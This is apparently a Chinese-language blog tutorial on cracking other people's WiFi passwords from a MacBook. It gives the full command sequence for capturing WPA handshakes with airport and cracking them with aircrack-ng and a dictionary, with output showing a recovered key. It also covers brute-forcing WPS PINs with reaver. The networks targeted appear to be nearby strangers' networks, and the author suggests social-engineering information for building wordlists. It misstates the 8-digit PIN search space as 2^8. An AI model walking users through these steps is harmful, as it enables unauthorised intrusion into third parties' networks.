一般来说,破解WIFI有两种方式:通过抓取握手包,再跑字典破解WIFI密码,如果字典中包含密码,则能破解成功,这种方式对字典的要求非常高,通常只能破解比较常规的密码,如果能够拿到一些社工信息,自己制作社工密码,则能够提高破解的成功率。第二种方式是通过破解路由器的PIN码,进而破解WIFI密码,通常需要路由器开启了WPS才能破解,这也属于穷举爆破的一种方式,PIN码是8位,穷举的范围为2^8,如果知道PIN码排序,能缩小穷举范围,所以相对于抓包跑字典的方式更加可靠。
抓包跑字典
首先通过brew命令安装airport和aircarck-ng套件。注意,MacOS上不支持airmon-ng等其他套件,所以安装完成后有以下工具:aircrack-ng | airdecap-ng | airdecloak-ng | airolib-ng | airport。
接下来开始扫描WIFI信号,通过airport工具执行airport -s。WIFI信息包括名称(SSID)、MAC地址(BSSID)、信号强度(RSSI「越大信号越好」)、频道(CHANNEL)、加密方式(SECURITY)等信息。
root@root ~ % airport -s
SSID BSSID RSSI CHANNEL HT CC SECURITY (auth/unicast/group)
ChinaNet-WiFi5-FA2C 86:65:69:52:fa:0d -87 12,-1 Y CN WPA2(PSK/AES/AES)
TP-LINK_1213 34:96:72:9f:2e:e0 -87 6,+1 Y CN WPA(PSK/AES/AES) WPA2(PSK/AES/AES)
CMCC-G6Uj c0:16:92:2d:81:5d -75 11 Y CN WPA(PSK/TKIP,AES/TKIP) WPA2(PSK/TKIP,AES/TKIP)
7733e9ac 78:0f:77:33:e9:ac -72 1 Y TW WPA(PSK/TKIP,AES/TKIP) WPA2(PSK/TKIP,AES/TKIP)
CMCC-9D6s-5G 24:ca:cb:9a:7d:38 -71 44 Y CN WPA(PSK/AES/AES) WPA2(PSK/AES/AES)
HiWiFi_930F44 ac:a2:13:93:2f:48 -62 3,+1 Y CN WPA(PSK/AES/AES) WPA2(PSK/AES/AES)
CMCC-9D6s 24:ca:cb:9a:7d:37 -54 13 Y -- WPA(PSK/AES/AES) WPA2(PSK/AES/AES)
TP-BB52 24:69:68:30:bb:52 -43 2,+1 Y -- WPA(PSK/AES/AES) WPA2(PSK/AES/AES)
我们选择一个频道(CHANNEL)作为抓包对象,例如抓取频道为2的握手包。通过airport工具执行airport en0 sniff 2
root@root ~ % sudo airport en0 sniff 2
Password:
Capturing 802.11 frames on en0.
这是就开始抓包了,抓取一段时间后,可以中断执行,其结果保存在/tmp目录下:Session saved to /tmp/airportSniff5FDzyR.cap.我们通过aircrack-ng命令查看里面是否抓取到有效握手包。*.cap文件最好及时重命名并拷贝出来,因为电脑重启后tmp目录会被清空。
root@root ~ % aircrack-ng /tmp/airportSniff5FDzyR.cap
Reading packets, please wait...
Opening /tmp/airportSniff5FDzyR.cap
Read 1680 packets.
# BSSID ESSID Encryption
1 04:40:A9:76:1F:E9 Unknown
2 24:69:68:30:BB:52 TP-BB52 Unknown
3 30:FC:68:50:28:2E vvvvvv WPA (0 handshake)
4 34:96:72:9F:2E:E0 TP-LINK_1213 Unknown
5 54:48:E6:9A:22:7A Redmi_2278 Unknown
6 78:0F:77:33:E9:AC 7733e9ac Unknown
7 80:EA:07:FF:6E:B7 TP-WZ WPA (0 handshake)
8 82:EA:07:AF:6E:B7 Unknown
9 88:C3:97:E6:5B:7A Xiaomi_5B79 Unknown
10 AC:A2:13:93:2F:48 HiWiFi_930F44 Unknown
11 CC:2D:21:8D:CA:C1 ziroom1304-1 WPA (0 handshake)
Index number of target network ?
如果都是0 handshake,则说明没有抓到握手包,需要再次重新抓取,当出现1 handshake则说明抓取成功。如果在抓取时存在连接WIFI的行为,则能够抓取到握手包。
抓到握手包之后,就可以开始跑字典。通过aircrack-ng命令指定字典文件破解指定的握手包。如果情况好的话能够破解出密码,否则的话则很难破解,因为这个取决于字典的准确性。
aircrack-ng -w ~/Desktop/crack/demopass.txt -b 24:69:68:30:BB:52 ~/Desktop/crack/TP-BB52.cap
Aircrack-ng 1.6
[00:00:00] 2/1 keys tested (176.38 k/s)
Time left: --
KEY FOUND! [ gfA20202328 ]
Master Key : C5 AE 66 6D 29 32 E8 62 D2 20 D7 77 CA 4F 23 0E
DD 64 56 E1 CB BF DD 25 42 4F 76 24 BF CC D4 DB
Transient Key : 30 10 77 ED EE 98 84 53 80 61 09 72 C4 BE AB 1C
B3 D8 D3 5F 6A 95 AD 1A 2C 54 10 C7 5C 74 A0 94
B0 14 3A 26 D9 22 7D 29 15 49 7A C2 EB 92 47 7E
39 FE D7 25 2D A0 60 C2 A3 DE 1A 89 A9 3C 9E BA
EAPOL HMAC : DB 37 AD 2B 08 CE 6B 29 74 E7 8D B0 99 22 64 60
WPS破PIN码
由于抓包跑字典的方式的不确定性,有时候一个包就是跑不出来,所以推荐通过爆破PIN码的方式破解WIFI。但是这种方式也有局限性,原因有下:
1、爆破PIN码通常需要路由器开启WPS功能,如果没有开启WPS则无法破解。网上说及时有些没有开始WPS也能破,但是没有验证过。
2、有的路由器有防PIN功能。
3、由于信号强弱或者其他原因,PIN的过程中会出现超时等问题,导致PIN的过程中经常中断。
破解PIN码有一些局限性,导致有的WIFI没法破解。但是一旦破解PIN码后,无论路由器如何改密码,都能够直接通过PIN码破解出密码。除非路由器设置了白名单或者直接把客户端禁用了,这样只能弃用这个WIFI了。
Miniwep
Miniwep是一个WIFI破解软件,在CDLinux | WIFISLAX | BT5 | Kali等系统中都有,网上有很多使用教程,在这里不在赘述。
Reaver
Miniwep本质上也是通过reaver命令来破解PIN码。由于MacOS系统的局限性,很多破解方式没法用,一下罗列几点~~
1、airmon-ng等套件没法用。
2、WIFISLAX | CDLinux的优盘启动盘没法进系统。
3、Ubuntu | Kali进入优盘系统后,触摸板和键盘没法用,应该是驱动原因,Windows的启动优盘也有这个问题。
4、在淘宝上找了下,Big Sur系统没有可用的无线网卡,只有10.2-10.5的系统才有无线网卡。
以上这几点原因把常规的几种破解方式全部堵死了,MacOS真实太惨了~~幸好MacOS上可以通过brew直接安装reaver,所以这里尝试在Macbook上通过reaver来破解PIN码。
root@root ~ % reaver
Reaver v1.4 WiFi Protected Setup Attack Tool
Copyright (c) 2011, Tactical Network Solutions, Craig Heffner <cheffner@tacnetsol.com>
Required Arguments:
-i, --interface=<wlan> Name of the monitor-mode interface to use #无线网卡
-b, --bssid=<mac> BSSID of the target AP #接入点,即目标WIFI的MAC地址
Optional Arguments:
-m, --mac=<mac> MAC of the host system
-e, --essid=<ssid> ESSID of the target AP
-c, --channel=<channel> Set the 802.11 channel for the interface (implies -f)
-o, --out-file=<file> Send output to a log file [stdout]
-s, --session=<file> Restore a previous session file
-C, --exec=<command> Execute the supplied command upon successful pin recovery
-D, --daemonize Daemonize reaver
-a, --auto Auto detect the best advanced options for the target AP
-f, --fixed Disable channel hopping
-5, --5ghz Use 5GHz 802.11 channels
-v, --verbose Display non-critical warnings (-vv for more)
-q, --quiet Only display critical messages
-h, --help Show help
Advanced Options:
-p, --pin=<wps pin> Use the specified 4 or 8 digit WPS pin
-d, --delay=<seconds> Set the delay between pin attempts [1]
-l, --lock-delay=<seconds> Set the time to wait if the AP locks WPS pin attempts [60]
-g, --max-attempts=<num> Quit after num pin attempts
-x, --fail-wait=<seconds> Set the time to sleep after 10 unexpected failures [0]
-r, --recurring-delay=<x:y> Sleep for y seconds every x pin attempts
-t, --timeout=<seconds> Set the receive timeout period [5]
-T, --m57-timeout=<seconds> Set the M5/M7 timeout period [0.20]
-A, --no-associate Do not associate with the AP (association must be done by another application)
-N, --no-nacks Do not send NACK messages when out of order packets are received
-S, --dh-small Use small DH keys to improve crack speed
-L, --ignore-locks Ignore locked state reported by the target AP
-E, --eap-terminate Terminate each WPS session with an EAP FAIL packet
-n, --nack Target AP always sends a NACK [Auto]
-w, --win7 Mimic a Windows 7 registrar [False]
Example:
reaver -i mon0 -b 00:90:4C:C1:AC:21 -vv
这是在Miniwep中破解时执行的命令
reaver -i en0 -b c0:16:92:2d:81:5d -c 11 -N -vv
但是,Macbook上一执行这个命令就死机!!!WTF,莫名其妙!
通过分析崩溃日志发现,在reaver执行过程中出现了EXC_BAD_INSTRUCTION (SIGILL),即执行了CPU不支持的指令!太难了!
Process: reaver [1680]
Path: /usr/local/Cellar/reaver/1.4/bin/reaver
Identifier: reaver
Version: 0
Code Type: X86-64 (Native)
Parent Process: zsh [630]
Responsible: iTerm2 [568]
User ID: 501
Date/Time: 2021-05-04 12:02:29.769 +0800
OS Version: macOS 11.2 (20D64)
Report Version: 12
Bridge OS Version: 5.2 (18P4346)
Anonymous UUID: FD7C164C-8D93-B9B0-8A18-0DD8B7D56F53
Time Awake Since Boot: 1300 seconds
System Integrity Protection: enabled
Crashed Thread: 0 Dispatch queue: com.apple.main-thread
Exception Type: EXC_BAD_INSTRUCTION (SIGILL)
Exception Codes: 0x0000000000000001, 0x0000000000000000
Exception Note: EXC_CORPSE_NOTIFY
Termination Signal: Illegal instruction: 4
Termination Reason: Namespace SIGNAL, Code 0x4
Terminating Process: exc handler [1680]
总的来说,我还是倾向用PIN码来破WIFI,但是MacOS有太多的局限性,接下来我会尝试用外接网卡来破解。